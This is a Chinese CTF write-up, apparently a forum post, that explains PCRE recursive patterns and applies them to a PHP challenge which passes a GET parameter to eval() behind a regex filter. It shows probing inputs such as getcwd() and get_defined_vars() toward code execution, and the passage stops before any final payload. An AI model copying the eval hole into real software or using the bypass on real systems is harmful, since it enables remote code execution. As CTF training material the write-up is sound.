正则表达式是什么

正则表达式(regular expression)描述了一种字符串匹配的模式(pattern),可以用来检查一个串是否含有某种子串、

将匹配的子串替换或者从某个串中取出符合某个条件的子串等。包括普通字符(例如,a 到 z 之间的字母)和特殊字符(称为"元字符")。

另外正则引擎主要可以分为基本不同的两大类:一种是DFA(确定性有穷自动机),另一种是NFA(非确定性有穷自动机)。

在NFA中由于表达式主导的串行匹配方式,所以用到了回溯(backtracking),这个是NFA最重要的部分,每一次某个分支的匹配失败都会导-致一次回溯。

DFA没有回溯,因此看起来在某些情况下会比NFA来得更快,但是在真正使用中,DFA需要进行预编译才能获得更好效果,

因为DFA的匹配方式需要更多的内存和时间,在第一次遇到正则表达式时需要比NFA详细得多的方法来分析这个表达式,

不过可以预先把对不同正则表达式的分析结果建好,DFA就可以获得比NFA更优的速度。

虽然NFA速度更慢,并且实现复杂,但是它又有着比DFA强大的多的功能,比如支持环视,支持反向引用(虽然这个是非正则的)等,

因此大多数程序语言都使用了NFA作为正则引擎,其中也包括PHP使用的PCRE库。

0x02 扩展表示法

扩展表示是以问号开始(?…),通常用于在判断匹配之前提供标记,实现一个前视(或者后视)匹配,或者条件检查。

尽管圆括号使用这些符号,但是只有(?P<name>)表述一个分组匹配。</name>

正则表达式 | 匹配字符串

-----------| ---------
(?:\w+\.)* | 以句点作为结尾的字符串,例如“google.”、“twitter.”、“facebook.”,但是这些匹配不会保存下来供后续的使用和数据检索
(?=.com)   | 如果一个字符串后面跟着“.com”才做匹配操作,并不使用任何目标字符串
(?!.net)   |如果一个字符串后面不是跟着“.net”才做匹配操作
(?<=800-)  |如果字符串之前为“800-”才做匹配,假定为电话号码,同样,并不使用任何输入字符串
(?<!192\.168\.) |如果一个字符串之前不是“192.168.”才做匹配操作,假定用于过滤掉一组 C 类 IP 地址
(?(1)y\|x)  |如果一个匹配组 1(\1)存在,就与 y 匹配;否则,就与 x 匹配
\(((?>[^()]+)\|(?R))* \) | 进行循环匹配

循环匹配探索

在上述的扩展表达式中有一个循环模式, 特殊项(?R)提供了递归的这种特殊用法,在PRCE模式中,考虑匹配圆括号内字符串的问题,

允许无限嵌套括号。如果不使用递归, 最好的方式是使用一个模式匹配固定深度的嵌套。

这个PCRE模式解决了圆括号问题(假设 PCRE_EXTENDED 选项被设置了, 因此空白字符被忽略):\( ( (?>[^()]+) | (?R) )* \)。

IN:

<?php 
var_dump(preg_match('/\((?R)*\)/','((((()))'));
var_dump(preg_replace('/\((?R)*\)/',NULL,'((()))'));
var_dump(preg_replace('/\((?R)*\)/',NULL,'((()))abc'));
?>

OUT:

int(1) string(0) "" string(3) "abc"

从以上的输出结果,可以明显的发现,'/\((?R)*\)/'这个正则表达式,进行自身循环匹配。

从一道ctf题浅析利用

题目的名字为easy – phplimit,是p神出的一个练习代码审计的题目。源码如下:

<?php
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {    
eval($_GET['code']);
} else {
    show_source(__FILE__);
}

第二部分也提到了,这个正则是对'()'的一种循环匹配,"';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])"这关系式的意思是,

从code参数中,匹配匹配字母、数字、下划线,其实就是'\w+',然后在匹配一个循环的'()',将匹配的替换为NULL,判断剩下的是否只有';'。

于是就开始翻阅[手册]http://www.php.net/manual),这个真的是好东西。以下是对这一块的探究:

自搭建环境测试

getcwd(): 获取当前路径

IN:

?code=print_r(getcwd());

OUT:

A:\tools\phpStudy\WWW\study
dirname(): 返回路径中的目录部分

IN:

?code=print_r(dirname(getcwd()));

OUT:

A:\tools\phpStudy\WWW

这里对dirname($path)进行一个解释:该函数的返回值为,返回path的父目录。如果在 path中没有斜线,则返回一个点('.'),

表示当前目录,因此此处为父目录'A:\tools\phpStudy\WWW',后面使用chdir时是当前目录。

chdir(): 改变工作目录
IN:
?code=print_r(chdir(getcwd()));
OUT:
1
成功返回1(true)
get_defined_vars(): 返回由所有已定义变量所组成的数组
IN:
?test=1&code=print_r(get_defined_vars());
OUT:
点击收藏 | 1 关注 | 2
  • 动动手指,沙发就是你的了!
登录 后跟帖